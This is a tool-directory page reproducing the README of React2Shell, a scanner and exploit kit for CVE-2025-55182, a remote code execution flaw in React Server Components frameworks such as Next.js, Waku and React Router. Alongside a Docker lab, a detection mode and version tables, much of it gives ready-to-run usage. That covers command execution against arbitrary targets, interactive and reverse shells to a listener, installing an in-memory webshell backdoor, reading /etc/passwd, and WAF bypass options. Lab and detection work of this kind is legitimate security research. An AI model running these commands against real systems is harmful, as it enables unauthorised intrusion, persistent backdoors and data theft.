Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
React2Shell — CVE-2025-55182 security test kit: CLI scanner + Chrome extension + Nuclei templates + Docker lab. | Kitploit
Tools/GitHubGitHub/sho-luv/react2shell
Vulnerability ScannersExploit FrameworksWeb Application ExploitationWAF BypassWeb SecurityCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubsho-luv/react2shell
92149 months agoNot yet reviewed

React2Shell

CVE-2025-55182 security test kit: CLI scanner + Chrome extension + Nuclei templates + Docker lab.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

React2Shell

CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE.

Repository Structure

React2Shell/
├── browser-extension/    # Chrome extension for browser-based detection
│   ├── manifest.json
│   ├── content.js
│   ├── popup.html/js
│   └── background.js
├── cli/                  # Command-line scanner & exploit tool
│   ├── react2shell.py
│   └── requirements.txt
├── docs/                 # Learning-focused documentation
│   ├── README.md         # Learning path index
│   ├── 01-fundamentals.md
│   ├── 02-vulnerability.md
│   ├── 03-exploitation.md
│   ├── 04-frameworks.md
│   └── 05-defense.md
├── lab/                  # Docker lab environment for testing
│   ├── vulnerable/       # Vulnerable Next.js app (React 19.2.0)
│   ├── patched/          # Patched Next.js app (React 19.2.1)
│   ├── waf/              # ModSecurity WAF container
│   ├── waku-app/         # Vulnerable Waku app (React 19.2.0)
│   ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│   └── docker-compose.yml
└── nuclei/               # Nuclei templates
    ├── CVE-2025-55182.yaml       # RCE detection (executes code)
    └── CVE-2025-55182-safe.yaml  # Safe side-channel detection

Quick Start

CLI Tool

cd cli
pip install -r requirements.txt

# Scan a target
python react2shell.py https://target.com

# Execute command
python react2shell.py https://target.com -c "id"

# Interactive shell
python react2shell.py https://target.com -i

Browser Extension

  1. Open chrome://extensions/
  2. Enable "Developer mode"
  3. Click "Load unpacked"
  4. Select the browser-extension directory

Lab Environment

cd lab
docker-compose up -d

# Exploitable targets:
# Next.js Vulnerable:    http://localhost:3011  ← Full RCE
# Waku Vulnerable:       http://localhost:3014  ← RCE (blind - no HTTP output)
# React Router:          http://localhost:3015  ← Full RCE (ESM)

# Protected targets:
# Next.js Patched:       http://localhost:3012  ← Secure
# WAF Protected:         http://localhost:3013  ← ModSecurity blocks exploits

Nuclei Scanner

nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

Features

CLI Tool (cli/react2shell.py)

  • Multi-framework support - Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
  • Framework detection (--detect) - Auto-detect target framework
  • Endpoint enumeration (-E) - Discover RSC endpoints automatically
  • Vulnerability scanning - Single URL or batch scanning from file
  • Command execution (-c) - Run arbitrary commands
  • Interactive shell (-i) - Persistent command session
  • Reverse shell (-r) - Multiple types: nc, bash, perl, python, ruby
  • In-memory webshell (--webshell) - Persistent backdoor installation
  • File reading (-f) - Read remote files directly
  • Local scanning (-L) - Check package.json for vulnerable versions
  • WAF bypass - Junk padding (-w), Unicode encoding (-u), Vercel-specific (-V)
  • Proxy support (-x) - Route through Burp Suite or other proxies
  • Safe mode (-s) - Side-channel detection without code execution

Browser Extension (browser-extension/)

  • Auto-detection of RSC vulnerability indicators
  • Configurable exploit paths
  • Command execution with output display
  • Enable/disable toggle
  • Visual vulnerable/safe indicators

Lab Environment (lab/)

  • Vulnerable Next.js (3011) - Full RCE with output via X-Action-Redirect
  • Waku (3014) - RCE confirmed, requires /RSC/F/{x}/{y}.txt path format
  • React Router (3015) - Full RCE using ESM-compatible process.getBuiltinModule()
  • Patched Next.js (3012) - For testing detection without exploitation
  • WAF Protected (3013) - ModSecurity rules for bypass research
  • Dashboard (8080) - Attack logging and visualization

CLI Usage Examples

# Basic scan (auto-detects framework)
python react2shell.py https://target.com

# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# Execute command on different frameworks
python react2shell.py https://target.com -c "id"                    # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id"            # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id"    # React Router (ESM)

# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'

# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project

# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v

All CLI Options

Execution Options:
  -c, --cmd             Command to execute
  -i, --interactive     Interactive shell session
  -r, --reverse         Reverse shell mode
  -l, --lhost           Listener host
  -p, --lport           Listener port
  -S, --shell-type      Shell type (nc, nc-mkfifo, bash, perl, python, ruby)
  -f, --read-file       Read a remote file

Scanning Options:
  -P, --path            Paths to test (comma-separated or file)
  -t, --threads         Number of threads (default: 10)
  -T, --timeout         Request timeout in seconds (default: 10)
  -s, --safe            Safe mode (no code execution)
  -L, --local           Scan local project directory
  -F, --framework       Target framework (auto, nextjs, waku, react-router, expo)
  -E, --enumerate       Enumerate RSC endpoints before exploitation
  --detect              Only detect framework and list endpoints
  --webshell            Install in-memory webshell on port 1337
  --rce                 RCE proof-of-concept mode (default: safe mode)

Bypass Options:
  -w, --waf-bypass      Junk data padding
  -W, --waf-size        Junk size in KB (default: 128)
  -u, --unicode         Unicode encoding bypass
  -V, --vercel-bypass   Vercel-specific bypass
  --windows             Windows PowerShell payloads

Request Options:
  -x, --proxy           Proxy URL (e.g., http://127.0.0.1:8080)
  -H, --header          Custom headers
  -A, --user-agent      Custom User-Agent
  -k, --insecure        Disable SSL verification

Output Options:
  -o, --output          Save results to JSON
  -v, --verbose         Verbose output with version detection
  -q, --quiet           Only show vulnerable targets
  --no-color            Disable colors
  --no-banner           Hide banner

CVE-2025-55182 Details

FieldValue
CVSS10.0 (Critical)
ImpactUnauthenticated Remote Code Execution
AffectedAny RSC framework using vulnerable React versions
MechanismPrototype pollution via React Flight Protocol

Affected Frameworks

FrameworkVulnerablePatched
React19.0.0 - 19.2.019.2.1+
Next.js14.0.0 - 15.4.715.4.8+
Waku< 0.27.20.27.2+
React Router7.0.0 - 7.5.0 (RSC preview)7.5.1+
ExpoExperimental RSCUpdate React
@vitejs/plugin-rscAll with vulnerable ReactUpdate React
@parcel/rscAll with vulnerable ReactUpdate React
RedwoodJS (rwsdk)All with vulnerable ReactUpdate React

Credits

Download Tool